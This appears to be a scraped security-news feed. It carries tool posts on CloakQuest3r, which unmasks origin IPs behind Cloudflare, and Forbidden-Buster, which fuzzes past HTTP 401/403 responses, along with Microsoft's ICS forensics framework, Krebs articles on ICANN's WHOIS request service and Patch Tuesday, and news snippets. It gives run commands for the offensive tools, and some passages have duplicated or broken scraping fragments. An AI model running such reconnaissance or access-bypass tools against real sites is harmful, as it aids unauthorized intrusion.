    • Threaded Scanning: To enhance efficiency and expedite the real IP detection process, CloakQuest3r utilizes threading. This feature enables scanning of a substantial list of subdomains without significantly extending the execution time.

    • Detailed Reporting: The tool provides comprehensive output, including the total number of subdomains scanned, the total number of subdomains found, and the time taken for the scan. Any real IP addresses unveiled during the process are also presented, facilitating in-depth analysis and penetration testing.

    With CloakQuest3r, you can confidently evaluate website security, unveil hidden vulnerabilities, and secure your web assets by disclosing the true IP address concealed behind Cloudflare's protective layers.

    Limitation

    infrastructure and configurations can change over time. The tool may not capture these changes, potentially leading to outdated information. 3. Subdomain Variation: While the tool scans subdomains, it doesn't guarantee that all subdomains' A records will point to the primary host. Some subdomains may also be protected by Cloudflare. " dir="auto">
    - Still in the development phase, sometimes it can't detect the real Ip.

    - CloakQuest3r combines multiple indicators to uncover real IP addresses behind Cloudflare. While subdomain scanning is a part of the process, we do not assume that all subdomains' A records point to the target host. The tool is designed to provide valuable insights but may not work in every scenario. We welcome any specific suggestions for improvement.

    1. False Negatives: CloakReveal3r may not always accurately identify the real IP address behind Cloudflare, particularly for websites with complex network configurations or strict security measures.

    2. Dynamic Environments: Websites' infrastructure and configurations can change over time. The tool may not capture these changes, potentially leading to outdated information.

    3. Subdomain Variation: While the tool scans subdomains, it doesn't guarantee that all subdomains' A records will point to the pri mary host. Some subdomains may also be protected by Cloudflare.

    This tool is a Proof of Concept and is for Educational Purposes Only.

    How to Use:

    1. Run CloudScan with a single command-line argument: the target domain you want to analyze.

       git clone https://github.com/spyboy-productions/CloakQuest3r.git
      cd CloakQuest3r
      pip3 install -r requirements.txt
      python cloakquest3r.py example.com
    2. The tool will check if the website is using Cloudflare. If not, it will inform you that subdomain scanning is unnecessary.

    3. If Cloudflare is detected, CloudScan will scan for subdomains and identify their real IP addresses.

    4. You will receive detailed output, including the number of subdomains scanned, the total number of subdomains found, and the time taken for the scan.

    5. Any real IP addresses found will be displayed, allowing you to conduct further analysis and penetration testing.

    CloudScan simplifies the process of assessing website security by providing a clear, organized, and informative report. Use it to enhance your security assessments, identify potential vulnerabilities, and secure your web assets.

    Run It Online:

    Run it online on replit.com : https://replit.com/@spyb0y/CloakQuest3r



    ☐ ☆ ✇ Krebs on Security

    ICANN Launches Service to Help With WHOIS Lookups

    By: BrianKrebs — December 6th 2023 at 15:51

    More than five years after domain name registrars started redacting personal data from all public domain registration records, the non-profit organization overseeing the domain industry has introduced a centralized online service designed to make it easier for researchers, law enforcement and others to request the information directly from registrars.

    In May 2018, the Internet Corporation for Assigned Names and Numbers (ICANN) — the nonprofit entity that manages the global domain name system — instructed all registrars to redact the customer’s name, address, phone number and email from WHOIS, the system for querying databases that store the registered users of domain names and blocks of Internet address ranges.

    ICANN made the policy change in response to the General Data Protection Regulation (GDPR), a law enacted by the European Parliament that requires companies to gain affirmative consent for any personal information they collect on people within the European Union. In the meantime, registrars were to continue collecting the data but not publish it, and ICANN promised it would develop a system that facilitates access to this information.

    At the end of November 2023, ICANN launched the Registration Data Request Service (RDRS), which is designed as a one-stop shop to submit registration data requests to participating registrars. This video from ICANN walks through how the system works.

    Accredited registrars don’t have to participate, but ICANN is asking all registrars to join and says participants can opt out or stop using it at any time. ICANN contends that the use of a standardized request form makes it easier for the correct information and supporting documents to be provided to evaluate a request.

    ICANN says the RDRS doesn’t guarantee access to requested registration data, and that all communication and data disclosure between the registrars and requestors takes place outside of the system. The service can’t be used to request WHOIS data tied to country-code top level domains (CCTLDs), such as those ending in .de (Germany) or .nz (New Zealand), for example.

    The RDRS portal.

    As Catalin Cimpanu writes for Risky Business News, currently investigators can file legal requests or abuse reports with each individual registrar, but the idea behind the RDRS is to create a place where requests from “verified” parties can be honored faster and with a higher degree of trust.

    The registrar community generally views public WHOIS data as a nuisance issue for their domain customers and an unwelcome cost-center. Privacy advocates maintain that cybercriminals don’t provide their real information in registration records anyway, and that requiring WHOIS data to be public simply causes domain registrants to be pestered by spammers, scammers and stalkers.

    Meanwhile, security experts argue that even in cases where online abusers provide intentionally misleading or false information in WHOIS records, that information is still extremely useful in mapping the extent of their malware, phishing and scamming operations. What’s more, the overwhelming majority of phishing is performed with the help of compromised domains, and the primary method for cleaning up those compromises is using WHOIS data to contact the victim and/or their hosting provider.

    Anyone looking for copious examples of both need only to search this Web site for the term “WHOIS,” which yields dozens of stories and investigations that simply would not have been possible without the data available in the global WHOIS records.

    KrebsOnSecurity remains doubtful that participating registrars will be any more likely to share WHOIS data with researchers just because the request comes through ICANN. But I look forward to being wrong on this one, and will certainly mention it in my reporting if the RDRS proves useful.

    Regardless of whether the RDRS succeeds or fails, there is another European law that takes effect in 2024 which is likely to place additional pressure on registrars to respond to legitimate WHOIS data requests. The new Network and Information Security Directive (NIS2), which EU member states have until October 2024 to implement, requires registrars to keep much more accurate WHOIS records, and to respond within as little as 24 hours to WHOIS data requests tied everything from phishing, malware and spam to copyright and brand enforcement.

    ☐ ☆ ✇ ToolsWatch.org – The Hackers Arsenal Tools Portal

    GISEC Armory Edition 1 Dubai 2024 – Call For Tools is Open

    By: NJ Ouchn — November 29th 2023 at 11:12
    We are excited to announce a groundbreaking partnership between ToolsWatch and GISEC 2024, as they
    ☐ ☆ ✇ ToolsWatch.org – The Hackers Arsenal Tools Portal

    Black Hat Arsenal 2024 Next Stop Singapore !

    By: NJ Ouchn — November 28th 2023 at 10:25
    Excitement is building in the cybersecurity community as the renowned Black Hat Arsenal gears up
    ☐ ☆ ✇ The Hacker News

    How to Handle Retail SaaS Security on Cyber Monday

    By: The Hacker News — November 27th 2023 at 17:57
    If forecasters are right, over the course of today, consumers will spend&nbsp;$13.7 billion. Just about every click, sale, and engagement will be captured by a CRM platform. Inventory applications will trigger automated re-orders; communication tools will send automated email and text messages confirming sales and sharing shipping information.&nbsp; SaaS applications supporting retail efforts
    ☐ ☆ ✇ The Hacker News

    Tell Me Your Secrets Without Telling Me Your Secrets

    By: The Hacker News — November 24th 2023 at 10:53
    The title of this article probably sounds like the caption to a meme. Instead, this is an actual problem GitGuardian's engineers had to solve in implementing the mechanisms for their new HasMySecretLeaked service. They wanted to help developers find out if their secrets (passwords, API keys, private keys, cryptographic certificates, etc.) had found their way into public GitHub repositories. How
    ☐ ☆ ✇ KitPloit - PenTest Tools!

    ICS-Forensics-Tools - Microsoft ICS Forensics Framework

    By: Zion3R — November 23rd 2023 at 11:30


    Microsoft ICS Forensics Tools is an open source forensic framework for analyzing Industrial PLC metadata and project files.
    it enables investigators to identify suspicious artifacts on ICS environment for detection of compromised devices during incident response or manual check.
    open source framework, which allows investigators to verify the actions of the tool or customize it to specific needs.


    Getting Started

    These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.

    git clone https://github.com/microsoft/ics-forensics-tools.git

    Prerequisites

    Installing

    • Install python requirements

      pip install -r requirements.txt

    Usage

    General application arguments:

    Args Description Required / Optional
    -h, --help show this help message and exit Optional
    -s, --save-config Save config file for easy future usage Optional
    -c, --config Config file path, default is config.json Optional
    -o, --output-dir Directory in which to output any generated files, default is output Optional
    -v, --verbose Log output to a file as well as the console Optional
    -p, --multiprocess Run in multiprocess mode by number of plugins/analyzers Optional

    Specific plugin arguments:

    Args Description Required / Optional
    -h, --help show this help message and exit Optional
    --ip Addresses file path, CIDR or IP addresses csv (ip column required).
    add more columns for additional info about each ip (username, pass, etc...)
    Required
    --port Port number Optional
    --transport tcp/udp Optional
    --analyzer Analyzer name to run Optional

    Executing examples in the command line

     python driver.py -s -v PluginName --ip ips.csv
    python driver.py -s -v PluginName --analyzer AnalyzerName
    python driver.py -s -v -c config.json --multiprocess

    Import as library example

    from forensic.client.forensic_client import ForensicClient
    from forensic.interfaces.plugin import PluginConfig
    forensic = ForensicClient()
    plugin = PluginConfig.from_json({
    "name": "PluginName",
    "port": 123,
    "transport": "tcp",
    "addresses": [{"ip": "192.168.1.0/24"}, {"ip": "10.10.10.10"}],
    "parameters": {
    },
    "analyzers": []
    })
    forensic.scan([plugin])

    Architecture

    Adding Plugins

    When developing locally make sure to mark src folder as "Sources root"

    • Create new directory under plugins folder with your plugin name
    • Create new Python file with your plugin name
    • Use the following template to write your plugin and replace 'General' with your plugin name
    from pathlib import Path
    from forensic.interfaces.plugin import PluginInterface, PluginConfig, PluginCLI
    from forensic.common.constants.constants import Transport


    class GeneralCLI(PluginCLI):
    def __init__(self, folder_name):
    super().__init__(folder_name)
    self.name = "General"
    self.description = "General Plugin Description"
    self.port = 123
    self.transport = Transport.TCP

    def flags(self, parser):
    self.base_flags(parser, self.port, self.transport)
    parser.add_argument('--general', help='General additional argument', metavar="")


    class General(PluginInterface):
    def __init__(self, config: PluginConfig, output_dir: Path, verbose: bool):
    super().__init__(config, output_dir, verbose)

    def connect(self, address):
    self.logger.info(f"{self.config.name} connect")

    def export(self, extracted):
    self.logger.info(f"{self.config.name} export")
    • Make sure to import your new plugin in the __init__.py file under the plugins folder
    • In the PluginInterface inherited class there is 'config' parameters, you can use this to access any data that's available in the PluginConfig object (plugin name, addresses, port, transport, parameters).
      there are 2 mandatory functions (connect, export).
      the connect function receives single ip address and extracts any relevant information from the device and return it.
      the export function receives the information that was extracted from all the devices and there you can export it to file.
    • In the PluginCLI inherited class you need to specify in the init function the default information related to this plugin.
      there is a single mandatory function (flags).
      In which you must call base_flags, and you can add any additional flags that you want to have.

    Adding Analyzers

    • Create new directory under analyzers folder with the plugin name that related to your analyzer.
    • Create new Python file with your analyzer name
    • Use the following template to write your plugin and replace 'General' with your plugin name
    from pathlib import Path
    from forensic.interfaces.analyzer import AnalyzerInterface, AnalyzerConfig


    class General(AnalyzerInterface):
    def __init__(self, config: AnalyzerConfig, output_dir: Path, verbose: bool):
    super().__init__(config, output_dir, verbose)
    self.plugin_name = 'General'
    self.create_output_dir(self.plugin_name)

    def analyze(self):
    pass
    • Make sure to import your new analyzer in the __init__.py file under the analyzers folder

    Resources and Technical data & solution:

    Microsoft Defender for IoT is an agentless network-layer security solution that allows organizations to continuously monitor and discover assets, detect threats, and manage vulnerabilities in their IoT/OT and Industrial Control Systems (ICS) devices, on-premises and in Azure-connected environments.

    Section 52 under MSRC blog
    ICS Lecture given about the tool
    Section 52 - Investigating Malicious Ladder Logic | Microsoft Defender for IoT Webinar - YouTube

    Contributing

    This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit https://cla.opensource.microsoft.com.

    When you submit a pull request, a CLA bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., status check, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA.

    This project has adopted the Microsoft Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact opencode@microsoft.com with any additional questions or comments.

    Trademarks

    This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft trademarks or logos is subject to and must follow Microsoft's Trademark & Brand Guidelines. Use of Microsoft trademarks or logos in modified versions of this project must not cause confusion or imply Microsoft sponsorship. Any use of third-party trademarks or logos are subject to those third-party's policies.



    ☐ ☆ ✇ Krebs on Security

    Microsoft Patch Tuesday, November 2023 Edition

    By: BrianKrebs — November 14th 2023 at 23:00

    Microsoft today released updates to fix more than five dozen security holes in its Windows operating systems and related software, including three “zero day” vulnerabilities that Microsoft warns are already being exploited in active attacks.

    The zero-day threats targeting Microsoft this month include CVE-2023-36025, a weakness that allows malicious content to bypass the Windows SmartScreen Security feature. SmartScreen is a built-in Windows component that tries to detect and block malicious websites and files. Microsoft’s security advisory for this flaw says attackers could exploit it by getting a Windows user to click on a booby-trapped link to a shortcut file.

    Kevin Breen, senior director of threat research at Immersive Labs, said emails with .url attachments or logs with processes spawning from .url files “should be a high priority for threat hunters given the active exploitation of this vulnerability in the wild.”

    The second zero day this month is CVE-2023-36033, which is a vulnerability in the “DWM Core Library” in Microsoft Windows that was exploited in the wild as a zero day and publicly disclosed prior to patches being available. It affects Microsoft Windows 10 and later, as well as Microsoft Windows Server 2019 and subsequent versions.

    “This vulnerability can be exploited locally, with low complexity and without needing high-level privileges or user interaction,” said Mike Walters, president and co-founder of the security firm Action1. “Attackers exploiting this flaw could gain SYSTEM privileges, making it an efficient method for escalating privileges, especially after initial access through methods like phishing.”

    The final zero day in this month’s Patch Tuesday is a problem in the “Windows Cloud Files Mini Filter Driver” tracked as CVE-2023-36036 that affects Windows 10 and later, as well as Windows Server 2008 at later. Microsoft says it is relatively straightforward for attackers to exploit CVE-2023-36036 as a way to elevate their privileges on a compromised PC.

    Beyond the zero day flaws, Breen said organizations running Microsoft Exchange Server should prioritize several new Exchange patches, including CVE-2023-36439, which is a bug that would allow attackers to install malicious software on an Exchange server. This weakness technically requires the attacker to be authenticated to the target’s local network, but Breen notes that a pair of phished Exchange credentials will provide that access nicely.

    “This is typically achieved through social engineering attacks with spear phishing to gain initial access to a host before searching for other vulnerable internal targets – just because your Exchange Server doesn’t have internet-facing authentication doesn’t mean it’s protected,” Breen said.

    Breen said this vulnerability goes hand in hand with three other Exchange bugs that Microsoft designated as “exploitation more likely:” CVE-2023-36050, CVE-2023-36039 and CVE-2023-36035.

    Finally, the SANS Internet Storm Center points to two additional bugs patched by Microsoft this month that aren’t yet showing signs of active exploitation but that were made public prior to today and thus deserve prioritization. Those include: CVE-2023-36038, a denial of service vulnerability in ASP.NET Core, with a CVSS score of 8.2; and CVE-2023-36413: A Microsoft Office security feature bypass. Exploiting this vulnerability will bypass the protected mode when opening a file received via the web.

    Windows users, please consider backing up your data and/or imaging your system before applying any updates. And feel free to sound off in the comments if you experience any difficulties as a result of these patches.

    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Forbidden-Buster - A Tool Designed To Automate Various Techniques In Order To Bypass HTTP 401 And 403 Response Codes And Gain Access To Unauthorized Areas In The System

    By: Zion3R — November 14th 2023 at 11:30


    Forbidden Buster is a tool designed to automate various techniques in order to bypass HTTP 401 and 403 response codes and gain access to unauthorized areas in the system. This code is made for security enthusiasts and professionals only. Use it at your own risk.

    • Probes HTTP 401 and 403 response codes to discover potential bypass techniques.
    • Utilizes various methods and headers to test and bypass access controls.
    • Customizable through command-line arguments.

    Install requirements

    pip3 install -r requirements.txt

    Run the script

    python3 forbidden_buster.py -u http://example.com

    Forbidden Buster accepts the following arguments:

    fuzzing (stressful) --include-user-agent Include User-Agent fuzzing (stressful)" dir="auto">
      -h, --help            show this help message and exit
    -u URL, --url URL Full path to be used
    -m METHOD, --method METHOD
    Method to be used. Default is GET
    -H HEADER, --header HEADER
    Add a custom header
    -d DATA, --data DATA Add data to requset body. JSON is supported with escaping
    -p PROXY, --proxy PROXY
    Use Proxy
    --rate-limit RATE_LIMIT
    Rate limit (calls per second)
    --include-unicode Include Unicode fuzzing (stressful)
    --include-user-agent Include User-Agent fuzzing (stressful)

    Example Usage:

    python3 forbidden_buster.py --url "http://example.com/secret" --method POST --header "Authorization: Bearer XXX" --data '{\"key\":\"value\"}' --proxy "http://proxy.example.com" --rate-limit 5 --include-unicode --include-user-agent

    • Hacktricks - Special thanks for providing valuable techniques and insights used in this tool.
    • SecLists - Credit to danielmiessler's SecLists for providing the wordlists.
    • kaimi - Credit to kaimi's "Possible IP Bypass HTTP Headers" wordlist.


    ❌